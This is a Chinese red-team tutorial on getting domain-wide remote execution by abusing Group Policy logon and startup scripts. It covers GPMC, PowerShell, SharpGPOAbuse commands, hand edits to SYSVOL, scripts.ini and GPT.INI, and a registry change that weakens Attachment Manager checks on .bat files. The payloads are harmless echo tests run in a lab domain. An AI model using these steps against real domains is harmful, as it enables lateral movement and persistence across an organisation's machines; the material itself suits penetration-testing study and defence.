域渗透——利用GPO中的脚本实现远程执行
0x00 前言
在之前的文章《域渗透——利用GPO中的计划任务实现远程执行》介绍了通过域组策略(Group Policy Object)远程执行计划任务的方法,本文将要介绍类似的另外一种方法:通过域组策略(Group Policy Object)的脚本实现远程执行。
0x01 简介
本文将要介绍以下内容:
- 通过Group Policy Management Console (GPMC) 实现脚本的远程执行
- 通过命令行实现脚本的远程执行
- 新建GPO实现远程执行
- 修改已有的GPO,实现远程执行
- 实现细节
0x02 通过Group Policy Management Console (GPMC) 实现脚本的远程执行
1.创建GPO
在域控制器上,位置: Administrative Tools
-> Group Policy Management
如果想要作用于整个域,选择域test.com
,右键,选择Create a GPO in this domain,and Link it here...
,如下图
如果想要作用于指定对象,需要选择提前创建好的OU,右键,选择Create a GPO in this domain,and Link it here...
,如下图
补充:创建OU的位置:Administrative Tools
-> Active Directory Users and Computers
2.配置GPO
选择创建好的GPO,右键,选择Edit...
(1)指定Startup/Shutdown/Logon/Logoff
时要执行的脚本
Startup/Shutdown
的位置为Computer Configuration
-> Windows Settings
-> Scripts(Startup/Shutdown)
,作用于域内计算机的开机和关机事件
Logon/Logoff
的位置为User Configuration
-> Windows Settings
-> Scripts(Logon/Logoff)
,作用于域用户的登陆和注销事件
这里以配置用户test1的登陆脚本为例进行配置,选择Login
,将要执行的脚本上传至域共享文件夹,默认位置为:\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon
,配置登陆执行的脚本为logon1.bat
,如下图
注:
直接将脚本上传至\\test.com\SysVol\test.com\Policies\{A4C54BE4-A5D1-42F3-8288-529FACD8E5CF}\User\Scripts\Logon
不会生效,必须在Logon
中指定要执行的脚本
(2)等待域组策略更新
默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟,域控制器的组策略每5分钟更新
为了提高测试效率,可在客户端执行命令gpupdate /force
强制更新组策略
(3)等待触发脚本执行
在Computer01上登陆用户test1,发现执行了脚本logon1.bat
0x03 通过命令行实现脚本的远程执行
1.作用于全域
(1)创建一个GPO
Powershell命令:New-GPO -Name TestGPO1
(2)将GPO连到到域test.com
Powershell命令:New-GPLink -Name TestGPO1 -Target "dc=test,dc=com"
注:
两条命令可以简写为一条命令:new-gpo -name TestGPO1 | new-gplink -Target "dc=test,dc=com"
(3)通过SharpGPOAbuse设置执行的脚本
命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"
这里也可以通过修改bat文件的内容判断用户名实现作用于指定目标,筛选用户test1的命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "if %username%==test1 cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "TestGPO1"
(4)等待域组策略更新
默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟
(5)等待触发脚本执行
(6)删除GPO
Powershell命令:Remove-GPO -Name TestGPO1
2.作用于指定目标
(1)创建OU
Powershell命令:New-ADOrganizationalUnit -Name OUtest2 -Path "DC=test,DC=com"
(2)确认用户test1的位置
cmd命令:dsquery user -name test1
返回结果:
"CN=test1,CN=Users,DC=test,DC=com"
(3)将指定用户test1移动至新创建的OUtest2
cmd命令:dsmove "CN=test1,CN=Users,DC=test,DC=com" -newparent "OU=OUtest2,DC=test,DC=com"
也可以使用cmd命令:dsquery user -name test1 | dsmove -newparent "OU=OUtest2,DC=test,DC=com"
(4)创建一个GPO并将其连接到指定OU
Powershell命令:new-gpo -name TestGPO2 | new-gplink -Target "OU=OUtest2,DC=test,DC=com"
(5)通过SharpGPOAbuse设置执行的脚本
命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse2.txt" --GPOName "TestGPO2"
(6)等待域组策略更新
默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟
(7)等待触发脚本执行
(8)删除GPO
Powershell命令:Remove-GPO -Name TestGPO2
(9)将用户test1移除OU至原位置
cmd命令:dsquery user -name test1 | dsmove -newparent "CN=Users,DC=test,DC=com"
(10)删除OU
Powershell命令:
Set-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -ProtectedFromAccidentalDeletion $false
Remove-ADOrganizationalUnit -Identity "OU=OUtest2,DC=test,DC=com" -Recursive -Confirm:$False
0x04 修改已有的GPO,实现远程执行
默认存在两个组策略,每个文件夹对应一个组策略:
{6AC1786C-016F-11D2-945F-00C04fB984F9}
对应Default Domain Controllers Policy
{31B2F340-016D-11D2-945F-00C04FB984F9}
对应Default Domain Policy
默认可利用的组策略为Default Domain Policy
,这里分为手动修改和通过程序自动实现两部分进行介绍
1.手动修改
(1)获取GPO的guid
Powershell命令:get-GPO -Name "Default Domain Policy"
得到Id为31b2f340-016d-11d2-945f-00c04fb984f9
(2)上传要执行的用户登录脚本
将测试脚本test1.bat上传至\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\Logon
(3)启用用户登录脚本
创建文件\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\USER\Scripts\scripts.ini
,属性为隐藏文件,内容为:
[Logon]
0CmdLine=test1.bat
0Parameters=
(4)修改版本信息
修改文件\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI
,将Version
的原有数值加上65536
作为新的数值
具体来说,默认配置下,\\test.com\sysvol\test.com\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\GPT.INI
的Version
值为3
,第一次修改时需要将其修改为65539
(5)更新数据库信息
需要编写程序实现,代码可参考https://github.com/FSecureLABS/SharpGPOAbuse/blob/master/SharpGPOAbuse/Program.cs#L189
当然,这个操作也可以通过修改文件的方式实现,流程较为繁琐,具体思路如下:
- 备份GPO
- 修改Backup.xml
- 修改gpreport.xml
- 还原GPO
(6)等待域组策略更新
默认情况下,域组策略每90分钟更新,随机偏移为0-30分钟
(7)等待触发脚本执行
2.通过程序实现
通过SharpGPOAbuse可以实现,命令示例:SharpGPOAbuse.exe --AddUserScript --ScriptName StartupScript.bat --ScriptContents "cmd.exe /c echo 1 > c:\GPOAbuse.txt" --GPOName "Default Domain Policy"
0x05 直接执行远程脚本
当我们选择直接执行组策略文件夹中的bat文件,会弹框提示无法执行,如下图
这里可以通过修改注册表的方式设置为允许,对应的命令为:reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Associations /v ModRiskFileTypes /t REG_SZ /d .bat /f
该操作也可以通过配置域组策略实现,位置为:User Configuration
-> Administrative Templates
-> Windows Components
-> Attachment Manager
-> Inclusion list for moderate risk file types
,选择Enabled
,后缀名设置为.bat
,如下图
0x06 小结
本文介绍了通过域组策略(Group Policy Object)中的脚本实现远程执行的方法,分享实现细节和利用思路。